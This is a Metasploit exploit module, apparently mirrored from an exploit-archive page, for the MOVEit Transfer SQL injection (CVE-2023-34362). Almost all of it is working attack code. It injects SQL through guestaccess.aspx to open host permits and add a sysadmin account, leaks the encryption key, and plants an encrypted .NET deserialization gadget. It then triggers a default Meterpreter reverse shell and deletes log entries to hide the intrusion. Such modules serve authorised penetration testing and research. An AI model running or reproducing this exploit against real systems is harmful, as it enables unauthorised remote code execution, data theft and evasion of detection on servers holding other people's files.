Share
## https://sploitus.com/exploit?id=PACKETSTORM:173110
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'MOVEit SQL Injection vulnerability',  
'Description' => %q{  
This module exploits an SQL injection vulnerability in the MOVEit Transfer web application  
that allows an unauthenticated attacker to gain access to MOVEit Transferโ€™s database.  
Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an  
attacker can leverage an information leak be able to upload a .NET deserialization payload.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362  
'rbowes-r7', # research  
'bwatters-r7' # module  
],  
'References' => [  
['CVE', '2023-34362' ],  
['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'],  
['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'],  
['URL', 'https://www.wiz.io/blog/cve-2023-34362']  
],  
'Platform' => 'win',  
'Arch' => [ARCH_CMD],  
'Payload' => {  
'Space' => 345  
},  
'Targets' => [  
[  
'Windows Command',  
{  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',  
'RPORT' => 443,  
'SSL' => true  
}  
}  
],  
],  
'DisclosureDate' => '2023-05-31',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]  
}  
)  
)  
register_options(  
[  
Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']),  
Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]),  
Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]),  
Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)])  
]  
)  
@moveit_token = nil  
@moveit_instid = nil  
@guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com"  
@uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15)  
@uploadfile_size = rand(5..64)  
@uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size)  
@user_added = false  
@files_json = nil  
end  
  
def begin_file_upload(folders_json, token_json)  
boundary = rand_text_numeric(27)  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n"  
res = send_request_raw({  
'method' => 'POST',  
'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"),  
'headers' => {  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
'Authorization' => "Bearer #{token_json['access_token']}"  
},  
'connection' => 'close',  
'accept' => '*/*',  
'data' => post_data.to_s  
})  
  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200  
  
files_json = res.get_json_document  
vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")  
files_json  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'),  
'connection' => 'close',  
'accept' => '*/*'  
})  
version = nil  
if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version')  
version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version'])  
# 2020.1.x AKA 12.1.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10')  
# 2021.0.x AKA 13.0.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8')  
# 2021.1.x AKA 13.1.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6')  
# 2022.0.x AKA 14.0.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6')  
# 2022.1.x AKA 14.1.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7')  
# 2023.0.x AKA 15.0.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3')  
else  
return Exploit::CheckCode::Safe  
end  
return Exploit::CheckCode::Unknown  
end  
  
def cleanup  
cleanup_user(@files_json) if @user_added  
super  
end  
  
def cleanup_user(files_json)  
hax_username = datastore['USERNAME']  
hax_loginname = datastore['LOGIN_NAME']  
deleteuser_payload = [  
"DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload  
"DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded  
"DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", #  
"DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created  
"DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username  
"DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname  
"DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry.  
]  
if @user_added  
vprint_status("Deleting user #{hax_username}")  
sqli(sqli_payload(deleteuser_payload))  
@user_added = false  
end  
end  
  
def create_sysadmin  
hax_username = datastore['USERNAME']  
hax_password = datastore['PASSWORD']  
hax_loginname = datastore['LOGIN_NAME']  
createuser_payload = [  
"UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'",  
"INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",  
"UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",  
"UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'",  
"UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'",  
"UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",  
"UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",  
]  
res = sqli(sqli_payload(createuser_payload))  
  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200  
@user_added = true  
end  
  
def encrypt_deserialization_gadget(gadget, org_key)  
org_key = org_key.gsub(' ', '')  
org_key = [org_key].pack('H*').bytes.pack('C*')  
deserialization_gadget = moveitv2encrypt(gadget, org_key)  
deserialization_gadget  
end  
  
def find_folder_id(token_json)  
folders_response = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/api/v1/folders'),  
'connection' => 'close',  
'accept' => '*/*',  
'headers' => {  
'Authorization' => "Bearer #{token_json['access_token']}"  
}  
})  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200  
folders_json = JSON.parse(folders_response.body)  
vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.")  
folders_json  
end  
  
def get_csrf_token(res)  
fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/  
::Regexp.last_match(1)  
end  
  
def guestaccess_request(body)  
res = send_request_cgi({  
'method' => 'POST',  
'keep_cookies' => true,  
'uri' => normalize_uri('guestaccess.aspx'),  
'connection' => 'close',  
'accept' => '*/*',  
'vars_post' => body  
})  
res  
end  
  
# Perform a request to the ISAPI endpoint with an arbitrary transaction  
def isapi_request(transaction, headers)  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'),  
'keep_cookies' => true,  
'connection' => 'close',  
'accept' => '*/*',  
'headers' => {  
'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path',  
'X-siLock-Transaction': transaction  
}.merge(headers)  
})  
end  
  
def leak_encryption_key(token_json, files_json)  
haxleak_payload = [  
# The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234)  
"UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"  
]  
  
sqli(sqli_payload(haxleak_payload))  
  
leak_response = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"),  
'connection' => 'close',  
'accept' => '*/*',  
'headers' => {  
'Authorization' => "Bearer #{token_json['access_token']}"  
}  
})  
  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200  
leak_json = JSON.parse(leak_response.body)  
org_key = leak_json['uploadAgentBrand']  
vprint_status("Leaked the Org Key: #{org_key}")  
org_key  
end  
  
def makev1password(password, salt = 'AAAA')  
fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty?  
fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4  
  
# These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret  
pwpre = Base64.decode64('=VT2jkEH3vAs=')  
pwpost = Base64.decode64('=0maaSIA5oy0=')  
md5 = Digest::MD5.new  
md5.update(pwpre)  
md5.update(salt)  
md5.update(password)  
md5.update(pwpost)  
  
pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC')  
pw << salt  
pw << md5.digest  
  
return Base64.strict_encode64(pw).gsub('+', '-')  
end  
  
def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!')  
fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16  
  
if iv.nil?  
iv = Rex::Text.rand_text_alphanumeric(4)  
# as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence.  
iv *= 4  
end  
  
# MOVEit.DMZ.Core.Cryptography.Encryption  
key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*')  
key += org_key  
key += [0, 0, 0, 0].pack('C*')  
  
# MOVEit.Crypto.AesMOVEitCryptoTransform  
cipher = OpenSSL::Cipher.new('AES-256-CBC')  
  
cipher.encrypt  
cipher.key = key  
cipher.iv = iv  
encrypted_data = cipher.update(data) + cipher.final  
data_sha1_hash = Digest::SHA1.digest(data).unpack('C*')  
org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*')  
  
# MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader  
header = [  
225, # MOVEitV2EncryptedStringHeader  
0,  
data_sha1_hash[0],  
data_sha1_hash[1],  
org_key_sha1_hash[0],  
org_key_sha1_hash[1],  
org_key_sha1_hash[2],  
org_key_sha1_hash[3],  
iv.unpack('C*')[0],  
iv.unpack('C*')[1],  
iv.unpack('C*')[2],  
iv.unpack('C*')[3],  
].pack('C*')  
  
# MOVEit.DMZ.Core.Cryptography.Encryption  
return tag + Base64.strict_encode64(header + encrypted_data)  
end  
  
def populate_token_instid  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'keep_cookies' => true,  
'connection' => 'keep-alive',  
'accept' => '*/*'  
})  
  
cookies = res.get_cookies  
# Get the session id from the cookies  
fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/  
@moveit_token = ::Regexp.last_match(1)  
vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}")  
  
# Get the InstID from the cookies  
fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/  
@moveit_instid = ::Regexp.last_match(1)  
vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}")  
end  
true  
end  
  
def request_api_token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('/api/v1/token'),  
'Content-Type' => 'application/x-www-form-urlencoded',  
'connection' => 'keep-alive',  
'accept' => '*/*',  
'vars_post' => {  
'grant_type' => 'password',  
'username' => datastore['LOGIN_NAME'],  
'password' => datastore['PASSWORD']  
}  
})  
  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200  
  
token_json = JSON.parse(res.body)  
vprint_status("Got API access token='#{token_json['access_token']}'.")  
token_json  
end  
  
def set_session(session_hash)  
session_vars = {}  
session_index = 0  
session_hash.each_pair do |k, v|  
session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}"  
session_index += 1  
end  
isapi_request('session_setvars', session_vars)  
end  
  
def sqli(sql_payload)  
# Set up a fake package in the session. The order here is important. We set these session  
# variables one per request, so first set the package information, then switch over to a  
# 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this  
# order the session will be cleared and the injection will not work.  
set_session({  
'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06  
'MyPkgID' => '0', # Is self provisioned? (must be 0)  
'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs  
'MyPkgInstID' => '1234', # this can be any int value  
'MyPkgSelfProvisionedRecips' => sql_payload,  
'MyUsername' => 'Guest'  
})  
  
# Get a CSRF token - this has to be *after* you set MyUsername, since the  
# username is incorporated into it  
#  
# Transaction => request type, different types will work  
# Arg06 => the package access code (must match what's set above)  
# Arg12 => promptaccesscode requests a form, which contains a CSRF code  
  
body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' }  
csrf = get_csrf_token(guestaccess_request(body))  
  
# This does the actual injection  
body = {  
'Arg06' => 'accesscode',  
'transaction' => 'secmsgpost',  
'Arg01' => 'subject',  
'Arg04' => 'body',  
'Arg05' => 'sendauto',  
'Arg09' => 'pkgtest9',  
'csrftoken' => csrf  
}  
guestaccess_request(body)  
end  
  
def sqli_payload(sql_payload)  
# Create the initial injection, and create the session object  
payload = [  
# The initial injection  
"#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')",  
].concat(sql_payload)  
  
# Join our payload, and terminate with a comment character  
return payload.join(';') + ';#'  
end  
  
def trigger_deserialization(token_json, files_json, folders_json)  
files_response = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"),  
'connection' => 'close',  
'accept' => '*/*',  
'verify' => false,  
'headers' => {  
'Authorization' => "Bearer #{token_json['access_token']}",  
'Content-Type' => 'application/octet-stream',  
'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}",  
'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data)  
},  
'data' => @uploadfile_data  
})  
  
# 500 if payload runs :)  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500  
end  
  
def upload_encrypted_gadget(encrypted_gadget, files_json)  
haxupload_payload = [  
"UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'",  
]  
vprint_status('Planting encrypted gadget into the DB...')  
sqli(sqli_payload(haxupload_payload))  
end  
  
def exploit  
# Get the sessionID and siLockLongTermInstID  
print_status('[01/11] Get the sessionID and siLockLongTermInstID')  
populate_token_instid  
# Allow Remote Access and Create new sysAd  
print_status('[02/11] Create New Sysadmin')  
create_sysadmin  
print_status('[03/11] Get API Token')  
token_json = request_api_token  
print_status('[04/11] Get Folder ID')  
folders_json = find_folder_id(token_json)  
print_status('[05/11] Begin File Upload')  
@files_json = begin_file_upload(folders_json, token_json)  
print_status('[06/11] Leak Encryption Key')  
org_key = leak_encryption_key(token_json, @files_json)  
print_status('[07/11] Generate Gadget')  
gadget = ::Msf::Util::DotNetDeserialization.generate(  
payload.encoded,  
gadget_chain: :TextFormattingRunProperties,  
formatter: :BinaryFormatter  
)  
print_status('[08/11] Encrypt Gadget')  
b64_gadget = Rex::Text.encode_base64(gadget)  
encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key)  
print_status('[09/11] Upload Encrypted Gadget')  
upload_encrypted_gadget(encrypted_gadget, @files_json)  
print_status('[10/11] Trigger Gadget')  
trigger_deserialization(token_json, @files_json, folders_json)  
print_status('[11/11] Cleaning Up')  
cleanup_user(@files_json)  
end  
end